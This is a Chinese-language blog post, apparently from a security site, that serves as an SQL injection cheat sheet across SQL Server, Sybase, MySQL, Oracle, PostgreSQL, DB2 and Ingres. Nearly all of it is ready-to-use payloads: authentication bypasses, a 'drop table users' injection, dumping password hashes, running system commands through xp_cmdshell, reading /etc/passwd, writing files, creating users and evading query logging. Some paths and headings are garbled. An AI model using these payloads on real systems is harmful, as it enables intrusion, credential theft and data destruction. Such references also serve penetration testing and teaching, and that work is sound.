SQL注入基础

web安全 2017-12-02

学习SQL注入,如果想要利用SQL注入漏洞去获取想要的数据,其核心必然是SQL语句,所以学习SQL查询基础对于我们学习SQL注入漏洞来说是非常重要的,下面是针对各种类型数据库的查询语句的基础,希望可以帮到有需要的人。

关于注入字符的解释

字符解释
NULL或null这个可以帮助我们识别是不是PL/SQL网关
{‘ , ” , ; , <!}阻断sql查询语句,通常用在SQL、XPath和XML注入测试中
{空格, = , + , “}这些字符通常在构造注入语句中使用
{‘ , &, ! , ¦ , < , >}这些字符可以测试命令执行漏洞
"><script>alert(1)</script>测试跨站漏洞
{%0d , %0a}回车换行字符
{%7f , %ff}测试溢出的字节长度
{-1, other}测试整数向下溢出
A x 1024 +溢出漏洞
{%n , %x , %s}测试格式字符串漏洞
../目录遍历漏洞
{% , _, *}通配符,可能造成拒绝服务或者信息泄漏问题

这些字符可以用不同方式表示,比如unicode、在字符被过滤的时候可以利用其他方式绕过。

常见的绕过认证的方式

Payload解释
admin or 1=1无需密码通过认证,必须有个真实的用户名
or =无需验证用户名密码通过认证
admin用户admin没有密码
union select 1, user, pass, 1查询帐号密码,需要知道列名
; drop table users删除用户表

关于sql server的注入

Payload描述
admin sp_password这个存储过程的作用可以防止在日志文件中存储明文密码,利用这个技巧在执行sql注入时将其放在命令行之后可以方式日志记录sql查询语句
select @@version查询数据库版本信息
select @@servername服务器名字
select @@microsoftversionwindows系统版本信息
select * from master..sysservers查看所有本地服务器
select * from sysusers查询数据库的用户名和密码
exec master..xp_cmdshell 'ipconfig /all'执行系统命令
BACKUP database master to disks=\{IP}{sharename}backupdb.dat备份整个数据库到文件
create table myfile (line varchar(8000))" bulk insert foo from c:inetpubwwwrootauth.asp” select * from myfile"读取系统文件
xp_servicecontrol (START or STOP) <service>对Windows服务进行打开关闭操作
str1 + str2 或 n + n在盲注中拼接字符串

关于Subase

Payload描述
select @@version"查看数据库版本信息
select name from master..syslogins"查询系统用户信息
select name from master..sysdatabases查看系统数据库信息
convert(integer,(select+min(name)+from+syslogins+where+name>))引发错误显示
convert(integer,(select+min(name)+from+syslogins+where+name>sybase))报错注入测试方式
exec master..xp_cmdshell 'ipconfig /all'执行系统命令
waitfor delay 0:0:5延时注入
create proxy_table myfile external file at “c:tempfile_to_read.txt” select * from myfile”读取系统文件
create table myfile (record varchar(2000)) external file at “c:tempmyfile.exe” insert into myfile values(0xAND_YOUR_BINARY_DATA)”往系统内写文件
str1 + str2 或 n + n在盲注中拼接字符串

关于Mysql

Payload描述
select @@version;查询数据版本信息
select host,user,db from mysql.db;正常的查询语句
select host,user,password from mysql.user;查询用户帐号密码
create table myfile (input TEXT); load data infile /etc/passwd into table myfile; OR load data infile /home/{user}/.rhosts into table myfile; select * from myfile;读取系统文件
select host,user,password from user into outfile /tmp/passwd;向系统内写文件
select CONCAT(a,b);在联合注入中拼接查询结果
BENCHMARK(1000000000,MD5(gainingtime))、BENCHMARK(1000000000,MD5(CHAR(116)))盲注测试,通过判断时间的差异测试
IF EXISTS (SELECT * FROM users WHERE username = root) WAITFOR DELAY 0:0:3延时注入

关于Oracle

Payload描述
SELECT banner FROM v$version WHERE banner LIKE 'Oracle%';查询版本信息
SELECT banner FROM v$version WHERE banner LIKE 'TNS%';查询版本信息
SELECT version FROM v$instance;查询版本信息
SELECT user FROM dual正常语句
SELECT username FROM all_users ORDER BY username;列出用户
SELECT name FROM sys.user$;查看用户权限
SELECT name, password, astatus FROM sys.user$查询用户密码hash 版本小于10g
SELECT name,spare4 FROM sys.user$查询用户密码hash 版本大于11g
SELECT * FROM session_privs;列出当前权限
SELECT * FROM dba_sys_privs WHERE grantee = 'DBSNMP';列出特定用户的所有权限
SELECT grantee FROM dba_sys_privs WHERE privilege = 'SELECT ANY DICTIONARY';查找特定用户的权限
SELECT GRANTEE, GRANTED_ROLE FROM DBA_ROLE_PRIVS;列出所有权限
SELECT DISTINCT grantee FROM dba_sys_privs WHERE ADMIN_OPTION = 'YES';列出DBA的账户和权限
SELECT global_name FROM global_name;查询当前数据库
SELECT name FROM v$database;查询当前数据库
SELECT instance_name FROM v$instance;查询当前数据库
SELECT SYS.DATABASE_NAME FROM DUAL;查询当前数据库
SELECT DISTINCT owner FROM all_tables;列表
SELECT column_name FROM all_tab_columns WHERE table_name = 'blah';查询列名
SELECT column_name FROM all_tab_columns WHERE table_name = 'blah' and owner = 'foo';查询列名
SELECT owner, table_name FROM all_tables;列出所有表
SELECT owner, table_name FROM all_tab_columns WHERE column_name LIKE '%PASS%';模糊查询含有PASS的列名
substr('abcd', 3, 1)、bitand(6,2)、chr(65)、ascii('A')、CAST(1 AS char)、UTL_INADDR.get_host_address('google.com')、UTL_HTTP.REQUEST('http://google.com')、UTL_INADDR.get_host_name('10.0.0.1')查询中可用函数
SELECT name FROM V$DATAFILE;列出DB文件

关于PostgreSQL

Payload描述
select version();查询版本信息
select current_database();查看当前数据库
select current_user;查询当前用户
select session_user;查询用户session
select current_setting(log_connections);查询当前的设置,包括:log_connections、log_statement、port、password_encryption、krb_server_keyfile、virtual_host、config_file、hba_file、data_directory
select * from pg_shadow;查看数据库帐号密码
select * from pg_group;查看数据库帐号组信息
create table myfile (input TEXT); copy myfile from /etc/passwd; select * from myfile;读取系统文件
copy myfile to /tmp/test;写文件

关于DB2

Payload描述
select versionnumber, version_timestamp from sysibm.sysversions;查询版本信息
select user from sysibm.sysdummy1;查询当前数据库用户
select session_user from sysibm.sysdummy1;查询当前数据库用户
select system_user from sysibm.sysdummy1;查询当前数据库用户
select system_user from sysibm.sysdummy1;查询系统用户
select name from SYSIBM.SYSUSERAUTH where SYSADMAUTH = 'Y' or SYSADMAUTH = 'G'查询DBA的帐号
select current server from sysibm.sysdummy1;查询当前数据库
SELECT schemaname FROM syscat.schemata;列出数据库
select name from sysibm.systables;列出表名
select name, tbname, coltype from sysibm.syscolumns;列出列名
select tbname from sysibm.syscolumns where name='username'查找列username所在的表名
select name from (SELECT name FROM sysibm.systables order by name fetch first N+M-1 rows only) sq order by name desc fetch first N rows only;列出数据
SUBSTR('abc',2,1)、chr(65)、ascii('A')、cast('123' as integer)查询中可用的函数

关于Ingres

Payload描述
select dbmsinfo(_version);查询数据库版本信息
select dbmsinfo(session_user);查询当前数据库用户,参数还可以是:system_user、database、db_admin、create_table、create_procedure、security_priv、select_syscat、db_privileges、current_priv_mask
select top 10 blah from table; 或 select first 10 blah form table;限制查询结果
select table_name, table_owner from iitables;列出表
select relid, relowner, relloc from iirelation;列出表
select relid, relowner, relloc from iirelation where relowner != $ingres;列出表
select column_name, column_datatype, table_name, table_owner from iicolumns;列出列名
select name, password from iiuser;列出用户名密码
select table_name, permit_user, permit_type from iiaccess;枚举表的权限
length(abc);、substr(abc, 2, 1); 、cast(5 as byte)、bit_and()查询中可用的函数
create user pm with password = password; grant all on current installation to pm;创建用户

总结

这里包含了各种常见数据库的查询语句以及功能函数的简单介绍,如果大家看到有什么的不对的地方,请大家在后面留言,供大家参考。

nil
null
"'<foobar/>--}//\\
-foobabar:()-
[{}]
{{0}}
{'$ne':'foobabar'}
{"$ne":"foobabar"}

本文由 信安之路 创作,采用 知识共享署名 3.0,可自由转载、引用,但需署名作者且注明文章出处。

楼主残忍的关闭了评论